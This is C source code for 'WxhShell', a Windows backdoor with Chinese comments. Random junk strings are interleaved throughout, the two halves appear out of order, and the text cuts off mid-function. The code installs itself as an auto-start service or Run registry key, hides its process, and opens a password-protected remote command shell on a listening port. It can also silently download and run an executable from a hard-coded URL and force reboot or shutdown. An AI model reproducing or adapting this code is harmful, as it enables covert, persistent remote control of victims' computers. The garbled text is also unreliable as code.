6j&- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $ &P>r [5uRS}! if (!NtQueryInformationProcess) return 0; A |3tI G7)Fk%> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3,]gEE3 if(!hProcess) return 0; RjWqGr;bO -i4&v7" if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =e gW 8}fu,$$5 CloseHandle(hProcess); 05snuNt]- iJZ/jCI hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +V{7")px6 if(hProcess==NULL) return 0; 8E4mA5@ `2`\]X_A{ HMODULE hMod; ] )F7) char procName[255]; @BrMl%gV unsigned long cbNeeded; w.lAQ5)I%\ =xNv\e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /Nr*`l hgLj< CloseHandle(hProcess); ?{U
m 0 H0-U'l if(strstr(procName,"services")) return 1; // 以服务启动 Gg~QAsks
^-rfvc return 0; // 注册表启动 qwK2WE%T } MY/3]g< Zum0J{l
h // 主模块 c-g)eV|)S int StartWxhshell(LPSTR lpCmdLine) @FC"nM
{ ' j6gG SOCKET wsl; FJ % BOOL val=TRUE; _>=L>* int port=0; f{"8g"[[)( struct sockaddr_in door; Vpr/ z81esXl if(wscfg.ws_autoins) Install(); fx@j?*Qb +8v9flh port=atoi(lpCmdLine); = <j"M85. N gLU$/y; if(port<=0) port=wscfg.ws_port; _=q!
BW wtT}V=_ WSADATA data; m$9w"8R if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l3Lyea: h.!}3\Y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =56T{N setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pSm $FBW h door.sin_family = AF_INET; % ,N< door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0<8XI>.3D door.sin_port = htons(port); UjOB98Du }?&k a$rI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y!WG)u5 closesocket(wsl); ,R$u?c0>'& return 1; :>aQ~1f>] } k{V E1@ ?6nF~9Z' if(listen(wsl,2) == INVALID_SOCKET) { y$3;$ R^ closesocket(wsl); $5v0m#[^ return 1; dJv!Dts')C } 'S2bp4G Wxhshell(wsl); K"uNxZ WSACleanup(); ->h6j ? tfT8$ return 0; cgb2K$B_" i 9g>9 } _;4 [Q1 n39t}`WIl // 以NT服务方式启动 .TE?KI
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \o\nr!=k { >XOiu#kC DWORD status = 0; U|HB=BP DWORD specificError = 0xfffffff; Y=` it>r+% serviceStatus.dwServiceType = SERVICE_WIN32; I+ es8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; xr7+$:>a serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <" @zn serviceStatus.dwWin32ExitCode = 0; vsL[*OeI serviceStatus.dwServiceSpecificExitCode = 0; ?88`fJ@tk? serviceStatus.dwCheckPoint = 0; 0<PR+Iv*i serviceStatus.dwWaitHint = 0; e(NLX` hky;CD~$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @Kf_z5tm: if (hServiceStatusHandle==0) return; AW#<i_Ybf Z4){
7|~a status = GetLastError();
t8+_/BXv if (status!=NO_ERROR) k<RZKw Qc { H'MJ{r0, serviceStatus.dwCurrentState = SERVICE_STOPPED; MG /,== serviceStatus.dwCheckPoint = 0; tTN?r 8 serviceStatus.dwWaitHint = 0; 'TTUN=y serviceStatus.dwWin32ExitCode = status; ~2d:Q6 serviceStatus.dwServiceSpecificExitCode = specificError; .[u>V SetServiceStatus(hServiceStatusHandle, &serviceStatus); g~BoFc.V2~ return; c8Q]!p+Yp } cEe?*\G *cTO7$\[ serviceStatus.dwCurrentState = SERVICE_RUNNING; 84i_k serviceStatus.dwCheckPoint = 0; 3+J0!FVla serviceStatus.dwWaitHint = 0; v|ox!0:# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;f,c't@w } JbO ~n
)%x ]#/4Y_d // 处理NT服务事件,比如:启动、停止 }tPk@$ VOID WINAPI NTServiceHandler(DWORD fdwControl) m^_6:Q0F!8 { '!P"xBVAu switch(fdwControl) YUQtMf9 { mR8W]'gl.L case SERVICE_CONTROL_STOP: z4@k$
L8 serviceStatus.dwWin32ExitCode = 0; 9'x)M?{8 serviceStatus.dwCurrentState = SERVICE_STOPPED; {k5X*W serviceStatus.dwCheckPoint = 0; f'q 28lVf serviceStatus.dwWaitHint = 0; [+w3J#K { [ BT)l] SetServiceStatus(hServiceStatusHandle, &serviceStatus); PY3ps2^K. } >/<:Q & return; v(leide case SERVICE_CONTROL_PAUSE: 6DL[aD serviceStatus.dwCurrentState = SERVICE_PAUSED; #k<":O break; _MWM;f`b case SERVICE_CONTROL_CONTINUE: j#0j)k2Q serviceStatus.dwCurrentState = SERVICE_RUNNING; O:#+% break; M=xQ=j? case SERVICE_CONTROL_INTERROGATE: +%N
KQ'49I break; =e><z9hY }; j5Un1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); >)_ojDO } 5]1leT ec Oy6@UDY // 标准应用程序主函数 d7cg&9+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wk^RA_ { ^MD;"A< 8hA^`Y // 获取操作系统版本 Fg/dS6=n`? OsIsNt=GetOsVer(); wA`"\MWm GetModuleFileName(NULL,ExeFile,MAX_PATH); wFlvi=n/ e75UMWaeC // 从命令行安装 0aR,H[r[? if(strpbrk(lpCmdLine,"iI")) Install(); JK#vkCkyM Ufo>|A6;$ // 下载执行文件 5FC4@Ms` if(wscfg.ws_downexe) { 2JmZ{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JNWg|Qt WinExec(wscfg.ws_filenam,SW_HIDE); K?#]("De6 } ,pK|SL NHw x:-RH if(!OsIsNt) { gM>=%/. // 如果时win9x,隐藏进程并且设置为注册表启动 4z:#I; HideProc(); `ya;:$(6 StartWxhshell(lpCmdLine); 6@tvRDeaDW } Ni*Wz*o else .BO< if(StartFromService()) RA a[t :| // 以服务方式启动 kqvow3u StartServiceCtrlDispatcher(DispatchTable); W[NEe,.> else RV-h IdAU // 普通方式启动 ? 81X StartWxhshell(lpCmdLine); ,pq{& A R*1kR|*_) return 0; *jzLFuWIG } "`A :(<x !c<w SQ, =He.fEy pz_e =xr =========================================== LT+3q%W.UC 'ul\Q`N3 K8^kJSF\ ly4Qg\l 0"xPX#Cvj rFJ[dz " %-;bu| yy2Ie #include <stdio.h> v7trr W} #include <string.h> {bF1\S]2 #include <windows.h> 0)uYizJce #include <winsock2.h> MM{_Ur7Q #include <winsvc.h> $2z
_{@Z #include <urlmon.h> X`zC^z} eukA[nO7G #pragma comment (lib, "Ws2_32.lib") !- ~X?s~L #pragma comment (lib, "urlmon.lib") \tJFAc ;n#%G^!H #define MAX_USER 100 // 最大客户端连接数 Aj"7q #define BUF_SOCK 200 // sock buffer $%c{06Oq( #define KEY_BUFF 255 // 输入 buffer ,<ya@Fi{ v.Ogf5 #define REBOOT 0 // 重启 H D/5!d #define SHUTDOWN 1 // 关机 s[3fqdLP& ,[48Mspp #define DEF_PORT 5000 // 监听端口 H!IDV}dn %4>x!{jwV #define REG_LEN 16 // 注册表键长度 ~hN~>0O #define SVC_LEN 80 // NT服务名长度 c"gsB!xh 00vBpsZj2; // 从dll定义API b_$1f> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qFRdg V>8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 96|[}:+$&: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >cOeiK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0x)dnq\ v%{0 Tyk // wxhshell配置信息 WXUkuO struct WSCFG { +p:Y=>bTj int ws_port; // 监听端口 eE:&qy^ char ws_passstr[REG_LEN]; // 口令 LhJ a)jFQ int ws_autoins; // 安装标记, 1=yes 0=no 1]4^V7y char ws_regname[REG_LEN]; // 注册表键名 |ek
ak{js char ws_svcname[REG_LEN]; // 服务名 ?;7b*Z char ws_svcdisp[SVC_LEN]; // 服务显示名 (L69{n char ws_svcdesc[SVC_LEN]; // 服务描述信息 &d$~6'x* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gp< =Gmd int ws_downexe; // 下载执行标记, 1=yes 0=no Jj"HpK>[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vahoSc;sw char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @YL}km&Fw A| x:UQlu }; ?F$6;N6x BD;H
// default Wxhshell configuration zQuM !. struct WSCFG wscfg={DEF_PORT, 2:v <qX "xuhuanlingzhe", 4L:>4X[T 1, gT1P*N;v "Wxhshell", LPE) "Wxhshell", P2k7M(I_& "WxhShell Service", CJw$j`k "Wrsky Windows CmdShell Service", r4knN
2: "Please Input Your Password: ", f{Q p 1, z: G}>fk5 "http://www.wrsky.com/wxhshell.exe", G!-J$@P "Wxhshell.exe" juno.$
6 }; f~\Xg7< .|]IwyD
& // 消息定义模块 f]_mzF=& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T1~)^qQ char *msg_ws_prompt="\n\r? for help\n\r#>"; wly>H]i' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8$~3r a char *msg_ws_ext="\n\rExit."; jUY+3"?
char *msg_ws_end="\n\rQuit."; ( tn<
VK. char *msg_ws_boot="\n\rReboot..."; o bGWxI%a char *msg_ws_poff="\n\rShutdown..."; wGXwzU char *msg_ws_down="\n\rSave to "; wJIB$3OT Ph)|j&] char *msg_ws_err="\n\rErr!"; 6v47 QW|' char *msg_ws_ok="\n\rOK!"; O-GxUHwWr %Y',|+Arx char ExeFile[MAX_PATH]; z}APR@?`n8 int nUser = 0; P/aDd@j HANDLE handles[MAX_USER]; t .=Oj int OsIsNt; 5+L8\V9; :('I)C SERVICE_STATUS serviceStatus;
GXeAe}T SERVICE_STATUS_HANDLE hServiceStatusHandle; HF4Lqh'oco s-6:N9- // 函数声明 jH0Bo; int Install(void); {8m1dEC^@Q int Uninstall(void); _Y#Bm/* int DownloadFile(char *sURL, SOCKET wsh); {%7<" int Boot(int flag); ~I$}# void HideProc(void); =R9*;6?N int GetOsVer(void); 8-A|C<
" int Wxhshell(SOCKET wsl);
T&/_e
void TalkWithClient(void *cs); nLd~2qBuv int CmdShell(SOCKET sock); &z ksRX int StartFromService(void); 5P\N"Yjx' int StartWxhshell(LPSTR lpCmdLine); _;G=G5r iwo$\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~07RFR VOID WINAPI NTServiceHandler( DWORD fdwControl ); NhDA7z`b'J 4K,''7N3 // 数据结构和表定义 #WEq-0L SERVICE_TABLE_ENTRY DispatchTable[] = kIM
C~Z { x7gjG"V {wscfg.ws_svcname, NTServiceMain}, ak2dn]]D {NULL, NULL} d
Uz<1^L }; uGCtLA+sL ]L(54q;W // 自我安装 ,wTg$g-$ int Install(void) B/_6Ieb+ { EIK*49b2 char svExeFile[MAX_PATH]; 6+ANAk HKEY key; {Q<0\`A strcpy(svExeFile,ExeFile); %BICt @E h#O"Q+J9n // 如果是win9x系统,修改注册表设为自启动 )k~1, if(!OsIsNt) { <ge}9pU)o^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wT%"5: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A;t
zRe RegCloseKey(key); }} # be if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dJE`9$jN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %yhI;M^ RegCloseKey(key); EE9vk*[@C return 0; 3{q[q#" } LaT8l?q q } v>:=w|.HC } [a+4gy else { ^Fvr
f`A' T^NJ4L4# // 如果是NT以上系统,安装为系统服务 @#CF".fuN> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bqNLkw# if (schSCManager!=0) %O_t`wz { &%:*\_2s SC_HANDLE schService = CreateService _/Tlqzp ( 25&nwz schSCManager, -$m@*L wscfg.ws_svcname, Zly-\z_ wscfg.ws_svcdisp, 3FY_A(+ SERVICE_ALL_ACCESS,
,5kvn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DUo0w f#D^ SERVICE_AUTO_START, $2is3;h SERVICE_ERROR_NORMAL, \
%_)_"Q svExeFile, 4JSZ0:O NULL, Kt6C43]7 NULL, #~*XDWvIS~ NULL, T N Ist NULL, k%!VP=c4s NULL v*Xk WH5 ); uZ<%kV1B if (schService!=0) #AvEH=: { %A=|'6)k2 CloseServiceHandle(schService); QSv^l-< CloseServiceHandle(schSCManager); lT3|D?sF strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5Abz5-^KH strcat(svExeFile,wscfg.ws_svcname); l\Cu1r-z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /khnl9~+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WN1Jm:5YV RegCloseKey(key); >F~ITk5`Oo return 0; kMqD
iJ } H8sK}1. } ,b4~!V CloseServiceHandle(schSCManager); MyqiBGTb } XUf7yD } mDlCt_h J$#D:KaU:N return 1; /t$*W\PL@ } niQ+EAD i<bxc // 自我卸载 5U3qr*/ ;m int Uninstall(void) J+0/ :00( { )FV6, HKEY key; Z$1.^H.Db )ph30B if(!OsIsNt) { C~{xL>I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K,G,di RegDeleteValue(key,wscfg.ws_regname); *^ey]),f54 RegCloseKey(key); gU u&Vy\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ),MU+*` RegDeleteValue(key,wscfg.ws_regname); 9n-T5WP RegCloseKey(key); e"lD`*U8R return 0; yr%yy+(.k } JR!Q,7S2!N } -ywX5B } "2%y~jrDN else { T^d#hl.U 2'|XtSj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uvR0TIF4 if (schSCManager!=0) [6G=yp { {uEu>D$8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z4\tY^NI if (schService!=0) +{S Maq { L!?v BL
if(DeleteService(schService)!=0) { 2 aew6~ CloseServiceHandle(schService); `!<x"xKu CloseServiceHandle(schSCManager); 2.!1kije return 0; F9v)R#u~ } "OVi /:*B CloseServiceHandle(schService); 0
-!?W } `S5>0r5[ CloseServiceHandle(schSCManager); g%+ql[(4 } ,eyp$^ 2 } V/@[%w= fYb KmB return 1; <=$rU232} } SgyqmYTvZw 23)F-.C}j // 从指定url下载文件 E1^aAlVSD int DownloadFile(char *sURL, SOCKET wsh) (_s;aK { B,r5kQI4 HRESULT hr; V[4(~,9 char seps[]= "/"; KSF5)CZ5 char *token; G% o7BX char *file; H]Y#pLu| char myURL[MAX_PATH]; i<'{Y char myFILE[MAX_PATH]; ~K4k'
$,}Qf0(S strcpy(myURL,sURL); mgk64}K [n token=strtok(myURL,seps); +[>yO _} while(token!=NULL) jG
=(w4+ { A J<iM)l| file=token; X77A; US token=strtok(NULL,seps); jM6uT'Io } bta0?O
# UEN YJ*tnP GetCurrentDirectory(MAX_PATH,myFILE); jQY>9+t strcat(myFILE, "\\"); -[G/2F' strcat(myFILE, file); [[#xES21F send(wsh,myFILE,strlen(myFILE),0); }P05eI send(wsh,"...",3,0); Ngn\nkf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;Gjv9:hUn if(hr==S_OK) jB*9 !xrd, return 0; 5}<.1ab3V else z\X60T return 1; H?rSP0. cZPbD;e: } cjCE3V9X zG&WWc`K // 系统电源模块 [6Uud iw int Boot(int flag) QWU5-p9e8 { _K
4eD. HANDLE hToken; '=KuJ0`nE9 TOKEN_PRIVILEGES tkp; Wpiv1GZ%c8 HR/k{"8W4Q if(OsIsNt) { L#@l(8. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); , LCH2r LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PpX{+^z-% tkp.PrivilegeCount = 1; L-^# 02 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V`WI"HO+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gn-=##fT:i if(flag==REBOOT) { (2\l i{$e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `=_7I? return 0; NTXws4'D } P58\+9d_ else { 9nP*N` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6|B a return 0; >qSO,$ } z'5;f; } ^4n2
-DvG else { .F{}~K] if(flag==REBOOT) { { Hktu| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a7QlU=\ return 0; eyI-s9#t } -~QlHp&SY else { f 3nnXE" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A5 &>!y return 0; Y?"v2~;3 } |[lxV&SD. } KUl
Zk^a , V0iMq return 1; K8yWg\K } GV `idFd &-EyM*:u! // win9x进程隐藏模块 B`'}&6jr. void HideProc(void) T>AI0R3 { m)tI 6/p]jN HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |q1b8A \ if ( hKernel != NULL ) KDNTnA1c { KD[)O7hYC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aufcd57 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %8bFQNd FreeLibrary(hKernel); ~FK+bF?% } rRF+\cP?. Z_eqM4{ return; Mt7X<?GZm } #R"9)vHp ]5qjK~,4b // 获取操作系统版本 brpN>\ int GetOsVer(void) [A.eVuV;+ { Rx_,J%0Fq OSVERSIONINFO winfo; QjW~6Z.tI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *YiD B?Si GetVersionEx(&winfo); H4K(SGx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S[\cT:{OE return 1; 8ESkG else _BeX7 return 0; gn;nS{A } ,=XS%g}l4 (
SC7m/ // 客户端句柄模块 X:zyzEhS int Wxhshell(SOCKET wsl) /_ hfjCE { g:@Cg.q8 SOCKET wsh; |zr)hC
struct sockaddr_in client; A ydy=sj DWORD myID; uMq\];7I 6 ^6uK while(nUser<MAX_USER) cSH tl<UY { B<|q{D$N/ int nSize=sizeof(client); $yR{ZFo wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JY;#]'T\; if(wsh==INVALID_SOCKET) return 1; ^YB\\a9 6w .iEb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0X}w[^f if(handles[nUser]==0) !Cv<>_N). closesocket(wsh); [8om9 Z3 else .[eSKtbc) nUser++; +@<^i?ale } 37za^n?SG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \sXmMc u+, jAkr return 0; O7L6Htya } XQJV.SVS }gi`?58J6 // 关闭 socket @Z1?t%1 void CloseIt(SOCKET wsh) ua. 6?W) { H~1?MAX closesocket(wsh); })yb
nUser--; .bY1N5=sz ExitThread(0); +MZ2e^\F } 'KW+Rr~tZn u.xA}yVS // 客户端请求句柄 U%SNROj void TalkWithClient(void *cs) O.m.]%URW { k%bTs+]* iaq:5||, SOCKET wsh=(SOCKET)cs; Ug[F3J|Mu char pwd[SVC_LEN]; p_kTLNZd9 char cmd[KEY_BUFF]; 9BgQoK@ char chr[1]; rqG6Ll`=+ int i,j; 7zOvoQ} dsft=t8s while (nUser < MAX_USER) {
=}1~~ B1AF4}~5 if(wscfg.ws_passstr) { RAXJsF^5o if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qgY(S}V //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _|2";.1E //ZeroMemory(pwd,KEY_BUFF); EWvid4QEi i=0; 9DocId. while(i<SVC_LEN) { h?O%XnD }e;p8)]Wl // 设置超时 nh_xbo5L[ fd_set FdRead; 70 DQ/b struct timeval TimeOut; j(2tbWg9- FD_ZERO(&FdRead); oU{-B$w FD_SET(wsh,&FdRead); 8i+jFSZ$ TimeOut.tv_sec=8; hF?\K^tF TimeOut.tv_usec=0; Yv|bUZ@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _d"Y6
0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9#A{C!75(y tZ6v@W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !&<Wc^PG pwd=chr[0]; ^gVbVz[17 if(chr[0]==0xd || chr[0]==0xa) { ZpP6Q pwd=0; lVKF^-i break; {gq:sj> } Z{>Y':\?< i++; z8MpE } -ZMl[;OM <H(AS' // 如果是非法用户,关闭 socket #
v/aI*Rl if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b9!J}hto, } #p^pvdvh3 U*#E aL send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A 5\"e^> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L?pvz} gcY~_'&u while(1) { <GU(/S!} [_z2z6 ZeroMemory(cmd,KEY_BUFF); S&g- <
oG\)!O // 自动支持客户端 telnet标准 3jQ$72_ j=0; @C6DOB while(j<KEY_BUFF) { ?%TM7Z4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -
&LZle&M cmd[j]=chr[0]; I5 7< |